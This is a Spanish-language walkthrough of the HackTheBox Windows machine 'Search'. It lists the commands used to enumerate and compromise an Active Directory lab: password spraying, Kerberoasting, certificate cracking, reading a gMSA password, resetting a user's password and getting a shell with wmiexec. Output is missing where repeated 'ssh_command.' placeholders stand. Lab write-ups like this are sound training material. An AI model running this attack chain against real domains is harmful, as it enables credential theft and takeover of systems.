Search

Search


HTB Windows

“nmap -A -p- -oA search 10.129.229.57 —min-rate=10000 —script=vuln —script-timeout=15 -v ```

echo "10.129.229.57 search.htb" | sudo tee -a /etc/hosts

nmap -sC -sV -O -p- -oA search 10.129.229.57

nmap -sU -O -p- -oA search 10.129.229.57

nikto -h 10.129.229.57:80

gobuster dir -k -u http://10.129.229.57/ -w /usr/share/wordlists/dirb/big.txt -t 100 -x .txt,.

whichSystem 10.129.229.57

ssh_command.

nmap -p- --open -T5 -v -n 10.129.229.57

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.229.57 -oG allPorts

ssh_command.

extractPorts allPorts

ssh_command.

nmap -sCV -p80,5985,8080 10.129.229.57 -oN targeted

ssh_command.

whatweb http://10.129.229.57

ssh_command.

curl -s -X GET http://search.htb -I | grep Server

ssh_command.

nmap --script http-enum -p80 10.129.229.57

rpcclient -U "" 10.129.229.57 -N

enumdomusers

endumdomgroups

ssh_command.

nmap --script http:-enum -p80 10.129.229.57 -oN webScan

ssh_command.

openssl s_client -connect 10.129.229.57:443

ssh_command.

Agregamos research.search.htb a etc/hosts

crackmapexec smb 10.129.229.57

ssh_command.

crackmapexec smb 10.129.229.57 --shares

smbclient -L 10.129.229.57 -N

smbmap -H 10.129.229.57

ssh_command.

ssh_command.

dig @10.129.229.57 search.htb mx

dig @10.129.229.57 search.htb axfr

ssh_command.

cat users.txt

ssh_command.

Vemos informacion en la imagen IsolationIsKey

ssh_command.

crackmapexec smb 10.129.229.57 -u users.txt -p 'IsolationIsKey?'

ssh_command.

cat credentials.txt

ssh_command.

rpcclient -U "hope.sharp%IsolationIsKey?" 10.129.229.57 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' | sort -u > users.txt

ssh_command.

rpcclient -U "hope.sharp%IsolationIsKey?" 10.129.229.57 -c 'querygroupmem 0x200'

rpcclient -U "hope.sharp%IsolationIsKey?" 10.129.229.57 -c 'queryuser 0x512'

ssh_command.

GetNPUsers search.htb/ -no-pass -usersfile users.txt

ssh_command.

ldomaindump -u "search.htb\hope.sharp" -p "IsolationIsKey?" 10.129.229.57

ssh_command.

firefox domain_users_by_group.html

ssh_command.

neo4j console

Nos dirigimos a http://localhost:7474

bloodhound &> /dev/null &

disown

Si lo quieres bajar y correr manual pero este paso no es necesario si corriste lo de arriba

ssh_command.

Bajamos Bloodhound-linux-x64.zip

mv Bloodhound-linux-x64.zip .

unzip Bloodhound-linux-x64.zip

chmod +x BloodHound

sleep2; ./BloodHound

git clone https://github.com/fox-it/BloodHound.py

ssh_command.

sudo python3 setup.py install

python3 bloodhound.py -u 'hope.sharp' -p 'IsolationIsKey?' -ns 10.129.229.57 -d search.htb -c All

ssh_command.

Subir los archivos json que se acaban de crear.

ssh_command.

ssh_command.

Lo marcamos como owned

ssh_command.

Listar las cuentas que son kerberoastables como krbtgt@search.htb y web_svc@search.htb

ssh_command.

GetUserSPNs search.htb/hope.sharp

Password: ‘IsolationIsKey?’

ssh_command.

GetUserSPNs search.htb/hope.sharp -request

Password: ‘IsolationIsKey?’

ssh_command.

sudo ntpdate 10.129.229.57

bc hash

ssh_command.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

ssh_command.

cat credentials.txt

ssh_command. crackmapexec smb 10.129.229.57 -u 'web_svc' -p '@3ONEmillionbaby'

ssh_command.

crackmapexec smb 10.129.229.57 -u users.txt -p '@3ONEmillionbaby' --continue-on-success

ssh_command.

cat credentials.txt

ssh_command.

Ponemos web_svc y edgar.jacobs como owned

ssh_command.

smbmap -H 10.129.229.57 -u 'hope.sharp' -p 'IsolationIsKey?'

ssh_command.

smbmap -H 10.129.229.57 -u 'hope.sharp' -p 'IsolationIsKey?' -r 'RedirectedFolders$'

ssh_command.

smbmap -H 10.129.229.57 -u 'hope.sharp' -p 'IsolationIsKey?' -r 'RedirectedFolders$/hope.sharp/Desktop'

En el folder de seclist buscamos la palabra IIS

find \-name \*IIS\*

wfuzz -c --hc=404 --sh=1233 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/IIS.fuzz.txt http://10.129.229.57/FUZZ

ssh_command.

wfuzz -c --hc=404 --sc=403,401 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/IIS.fuzz.txt http://10.129.229.57/FUZZ

ssh_command.

smbmap -H 10.129.229.57 -u 'web_svc' -p '@3)NEmillionbaby' -r 'RedirectedFolders$'

ssh_command.

smbmap -H 10.129.229.57 -u 'edgar.jacobs' -p '@3)NEmillionbaby' --download 'RedirectedFolders$/edgar.jacobs/Desktop/Phishing_Attemp.xslsx'

ssh_command.

unzip Phishing_Attempt.xlsx

ssh_command.

tree

cd xl/worksheets

ssh_command.

cat sheet2.xml

ssh_command.

Abrimos el archivo y borramos lo que esta en

Cambiamos de directorio

cd ..\..\document

rm -r Phishing_Attempt.xlsx

zip Document.xlsx -r .

ssh_command.

libreoffice Document.xlsx

ssh_command.

cat users.txt && cat credentials.txt

ssh_command.

crackmapexec smb 10.129.229.57 -u users.txt -p credentials.txt --no-bruteforce --continue-on-success

ssh_command.

smbmap -H 10.129.229.57 -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18'

smbmap -H 10.129.229.57 -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -r 'RedirectedFolders$/sierra.frye/Desktop/

ssh_command.

smbmap -H 10.129.229.57 -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' --download 'RedirectedFolders$/sierra.frye/Desktop/user.txt

ssh_command.

Sierra.frye como owned

ssh_command.

smbmap -H 10.129.229.57 -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -r 'RedirectedFolders$/sierra.frye/Desktop/Backups/

ssh_command.

smbmap -H 10.129.229.57 -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' --download 'RedirectedFolders$/sierra.frye/Desktop/staff.pfx

ssh_command.

Nos dirigimos a ajustes/settings en firefox

ssh_command.

Le damos click en Your Certificates y despues Import

ssh_command.

Nos pide un password

pfx2john search-RESEARCH-CA.p12 > hash2

pfx2john staff.pfx > hash

ssh_command.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

ssh_command.

Importamos los certificados y usamos el password misspissy

ssh_command.

wfuzz -c --hc=404 --sh=1233 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://search.htb/FUZZ

ssh_command.

Nos vamos a https://search.htb/staff

ssh_command.

Ponemos las credenciales de sierra.frye y el nombre de la computadora seria research

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'

ssh_command.

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'

$mp = $gmsa.'msDS-ManagedPassword'

ConvertFrom-ADManagedPasswordBlob $mp

ssh_command.

$secpw = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword

$cred = New-Object System.Management.Automation.PSCredential 'BIR-ADFS-GMSA', $secpw

Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock { whoami }

ssh_command.

Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock { net user tristan.davies cu3rv0x123 }

ssh_command.

crackmapexec smb 10.129.229.57 -u 'tristan.davies' -p 'cu3rv0x123'

ssh_command.

wmiexec.py search.htb/tristan.davies@10.129.229.57

type users\Administrator\Desktop\root.txt

ssh_command.

© 2024 Cu3rv0x